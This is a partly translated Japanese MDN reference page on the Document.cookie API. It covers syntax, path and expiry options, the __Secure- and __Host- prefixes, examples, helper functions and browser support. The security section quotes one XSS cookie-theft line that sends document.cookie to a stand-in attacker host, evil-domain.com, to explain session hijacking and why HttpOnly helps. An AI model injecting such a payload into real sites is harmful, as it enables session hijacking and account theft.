この翻訳は不完全です。英語から この記事を翻訳 してください。

現在の文書に関連したクッキーを取得したり設定したりします。一般的なライブラリについては、このシンプルなクッキーフレームワークをご覧ください。

構文

この場所からアクセスできるすべてのクッキーを読む

allCookies = document.cookie;

上記のコードで allCookies は、セミコロンで区切られたクッキーのリストです。 (つまり key=value のペア)

updatedCookie は、key=value の形式の文字列です。この方法を使用して一度に設定・更新できるクッキーは、一つだけです。

  • オプションとして次に挙げる値を設定することができます。keyとvalueのペアの後にセミコロンで区切って設定することで、クッキーを設定・更新することができます。
    • ;path=パス (e.g., '/', '/mydir') 指定されない場合は、既定で現在の文書の位置のパスになります。
      メモ: Gecko 6.0 以前では、引用符付きのパスは引用符が文字列を囲む区切り文字ではなく、文字列の一部であるかのように扱われます。これは修正されています。
      パスは絶対パスでなければなりません (RFC 6265 を参照)。相対パスの使用方法について詳しくは、この段落をご覧ください。
    • ユーザーのプライバシーを考慮する場合、ウェブアプリがタイムアウト後にクッキーデータを無効化し、ブラウザーのセッションクッキーの消去に依存しないことが重要です。
      Firefox でもっとも愛されている機能の1つがセッションクッキーの期限切れを防ぐことです。
      同様の問題が Google Chrome (及び同様の機能を提供する他のブラウザーでも) でも発生しています

  • クッキーの値の文字列に encodeURIComponent() を使用すると、文字列に (クッキーの値で許可されない) コンマ、セミコロン、ホワイトスペースを使用していないことを確認できます。
  • ユーザーエージェントの実装によっては、以下のクッキーの接頭辞に対応しています。
    • __Secure- ブラウザーに、セキュアなチャネルを通してリクエストが送信された場合にのみクッキーを含めるよう支持します。
    • __Host- Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.
    The dash is considered part of the prefix.
  • These flags are only setable with the secure attribute.
Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

例 1: 単純な使用方法

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}
<button onclick="alertCookie()">Show cookies</button>

document.cookie = "test1=Hello";
document.cookie = "test2=World";

var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

function alertCookieValue() {
  alert(cookieValue);
}
<button onclick="alertCookieValue()">Show cookie value</button>

例 3: 一度だけ何かを行う

In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.

function doOnce() {
  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}
<button onclick="doOnce()">Only do something once</button>

function resetOnce() { 
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
<button onclick="resetOnce()">Reset only once cookie</button>

//ES5

if (document.cookie.split(';').filter((item) => {
    return item.indexOf('reader=') >= 0
}).length) {
    console.log('The cookie "reader" exists')
}

//ES7

if (document.cookie.split(';').filter((item) => {
    return item.includes('reader=')
}).length) {
    console.log('The cookie "reader" exists')
}
//ES5

if (document.cookie.split(';').filter((item) => {
    return item.indexOf('reader=1') >= 0
}).length) {
    console.log('The cookie "reader" has "1" for value')
}

//ES7

if (document.cookie.split(';').filter((item) => {
    return item.includes('reader=1')
}).length) {
    console.log('The cookie "reader" has "1" for value')
}

セキュリティ

path 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれないということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し <iframe> 要素を生成して、この iframe の contentDocument.cookie プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、同一オリジンポリシーを適用することです。

クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むため一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS の脆弱性を悪用しています -

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HTTP Cookiesを検査して、JavaScriptを通したクッキー値へのアクセスを防止することで、この種も問題を軽減できます。より詳細情報はCookies and Securityを見てください。

メモ

  • Firefox 2 から、より良いクライアントサイドストレージのメカニズムを使用できます。 - WHATWG DOM Storage.
  • 有効期限を 0 に更新するだけで、クッキーを削除できます。
  • クッキーを持てば持つほど、サーバとクライアント間の通信で、より多くのデータが送信されることを忘れないでください。これはリクエストを遅くします。もし、クライアントだけにデータを持たせ続けたいなら、 WHATWG DOM Storage を使うことを強くお勧めします。
  • RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.

The reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]

クライアントが以前格納されたクッキーをサーバーに送り返す

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

path 引数での相対 URL の使用

The path parameter of a new cookie can accept only absolute paths. If you want to use relative paths, you'll need to convert them. The following function can translate relative paths to absolute paths. It is a general-purpose function, but can be of course successfully used for the path parameter of a new cookie, as well.

ライブラリ

/*\
|*|
|*|  :: Translate relative paths to absolute paths ::
|*|
|*|  https://developer.mozilla.org/ja/docs/Web/API/document.cookie
|*|  https://developer.mozilla.org/User:fusionchess
|*|
|*|  The following code is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/

function relPathToAbs (sRelPath) {
  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
  }
  return sDir + sPath.substr(nStart);
}

使用例

/* Let us be in /ja/docs/Web/API/document.cookie */

alert(location.pathname);
// displays: /ja/docs/Web/API/document.cookie

alert(relPathToAbs("./"));
// displays: /ja/docs/Web/API/

alert(relPathToAbs("../Guide/API/DOM/Storage"));
// displays: /ja/docs/Web/Guide/API/DOM/Storage

alert(relPathToAbs("../../Firefox"));
// displays: /ja/docs/Firefox

alert(relPathToAbs("../Guide/././API/../../../Firefox"));
// displays: /ja/docs/Firefox

その他の例

例 5: 一度だけ何かを行う – 一般的なライブラリ

ライブラリ

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
  return true;
}

構文

executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])

説明

Executes a function only once, even after the refresh of the page.

引数

callback
The function to be executed (function).
thisObject Optional
The this object (object or null).
argumentToPass1, argumentToPass2, argumentToPassN Optional
The arguments of the callback function.
identifier
The identifier to check, i.e. the name of the cookie (string)
onlyHere Optional
A boolean expressing whether the cookie will use the local path (true) instead of the global one (false or undefined) (boolean or undefined)

使用例

function alertSomething (sMsg) {
  alert(sMsg);
}

executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");

仕様策定状況

仕様書 策定状況 コメント
Document Object Model (DOM) Level 2 HTML Specification
Document.cookie の定義
廃止された Initial definition
Cookie Prefixes 草案  

ブラウザーの対応

We're converting our compatibility data into a machine-readable JSON format. This compatibility table still uses the old format, because we haven't yet converted the data it contains. Find out how you can help!

機能 Chrome Edge Firefox (Gecko) Internet Explorer Opera Safari (WebKit)
基本対応 (有) (有) (有) (有) (有) (有)
max-age (有) 未サポート[2] (有) 未サポート (有) (有)
__Host- and __Secure- prefixes 49.0 [1] ? ? 未サポート (有) (有)
機能 Android Android Webview Edge Firefox Mobile (Gecko) IE Phone Opera Mobile Safari Mobile Chrome for Android
基本対応 (有) (有) (有) (有) (有) (有) (有) (有)
max-age ? ? (有) ? ? ? ? (有)
__Host- and __Secure- prefixes 未サポート 49.0 [1] ? ? ? (有) (有) 49.0 [1]

[1] Behind a flag.

[2] Edge Status

関連項目

ドキュメントのタグと貢献者

このページの貢献者: mfuji09, YuichiNukiyama, fscholz, jsx, xxxx7
最終更新者: mfuji09,